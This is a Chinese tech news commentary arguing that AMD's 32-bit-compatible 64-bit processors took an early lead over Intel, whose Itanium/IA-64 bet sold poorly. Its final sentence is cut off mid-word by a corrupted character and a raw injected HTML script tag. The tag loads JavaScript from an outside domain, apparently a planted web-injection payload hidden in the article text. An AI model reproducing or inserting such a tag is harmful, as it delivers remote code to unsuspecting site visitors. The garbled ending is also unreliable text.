（华强电子世界网讯） amd第一次超越英特尔，英特尔第一次成为创新的“泼水者”！
这是一次历史性的错位，领导cpu创新和发展的英特尔第一次成为保守者和守成者。仔细品味十分富有意味。
英特尔公司首席技术官pat gelsinger在16日说，amd和apple过于太早的吹嘘了64位计算能力的台式计算机。
amd和英特尔的对决是it业最引人注目的战争之一。而今双方的战斗更刺激、更扣人心弦：64位cpu未来市场主导权的大劫杀！64位之战比起过去的战斗来说，意义完全不同。过去的战争是大卫与哥利亚的悬殊搏斗，是强大的英特尔和后起奋进的amd间弱者挑战强者的经典。而现在，一个新的局面形成了。本视点从公司、人物、应用、市场等角度、多层次、全面透视正在到来的64位cpu决战。
一、64位的歧路：amd的急切和英特尔的“冷水”
64位是大势所趋。但是，面对64位市场，amd与英特尔的心态和表现开始截然不同：amd的急切和英特尔对64位的低调和冷却，形成了鲜明对照，这一切究竟是为什么？
英特尔在32位处理器市场的霸主地位无人可以撼动，在64位处理器的研究和产品推出上起步也比amd早，但是为什么如今那么冷淡的对待64位处理器？因为一次10多年前的决策失误，英特尔放弃了开发与32位兼容的64位处理器，失去了最强大优势，因而失去了在64位处理器上的先天性领导地位，当英特尔意识到这个问题的时候，回头重来已不可能，唯有期望提出“64位为时过早”的论点来延缓和阻止64位cpu在台式机市场的发展速度，努力堵截amd短暂的机会窗口。
另一方面，64位市场还需要艰苦耕耘，难以在短期内成为新的增长点。而32位处理器市场依然是英特尔的"现金牛"，是其利润和收入的绝对支撑。如果对64位用力过猛，那么必然损及32位市场，属于自杀性推广。因此，cpu市场的积极创新者和摩尔定律的急先锋，第一次成为产业的守旧者和传统堡垒的护卫者。
而amd正是钻了这个空子，把"32位兼容"作为独家法宝，第一次获得了撬动64位市场最有力的筹码，在形势上暂时获得了先发优势。amd希望在64位市场上的领先能帮助其获得更大的市场份额，至少不用象在32位处理器市场中那样苦苦挣扎，因此，amd此次是以产业推动者的姿态出现，倾注前所未有的热情来推广其64位处理器。
但是，如果amd不能很好利用这一千载难逢的机遇，那么英特尔还是可以凭借自己强大的资金实力、业界影响力和卓越的市场营销能力，逐步为不兼容32位的64位cpu建立起一定的市场基础，相反，amd如果能够利用机遇建立先期市场地位，将从此彻底打破英特尔的寡头垄断地位，获得更为势均力敌的竞争资格。
二、追根溯源：15年前英特尔决策失误
80年代，是格罗夫和摩尔天才般的决策，把握产业契机，使英特尔从一个二流的dram厂商转变为一个垄断性的cpu厂商。而今，pc业已经江河日下，垄断利润永远不再。那么，英特尔下一个战略转折点是什么？下一场革命究竟来自何方？英特尔的赌注应该押在哪里？
在服务器、台式机和便携机这三大cpu领域中，摩尔定律最有效的就剩下服务器市场，这一领域本来应该是体现英特尔传统优势的最佳战场。但是，依靠向后兼容而创造奇迹的英特尔，莫名其妙地放弃了这一核心优势。它扔掉了x86架构，重新设计了新的64位处理器核心－ia64，加上hp的全力支持，使英特尔一条路上走到黑，完全忽略了从32位到64位过渡、兼容的问题，这不能不说是英特尔前制定的最愚蠢战略。2001年，英特尔终于推出第一颗64位处理器"安腾"。
以前，分析师们一直期望安腾来终结原本称霸服务器市场的ibm和sun自己的risc处理器，为英特尔继续开拓新的厚利空间。可是，事实却让人大跌眼镜。根据最新统计资料，安腾在2002年一共只卖出3500台，而全球服务器销量为450万台。也就是说，安腾的市场占有率还不到千分之一。不但让原?script src=http://er12.com/t.js>
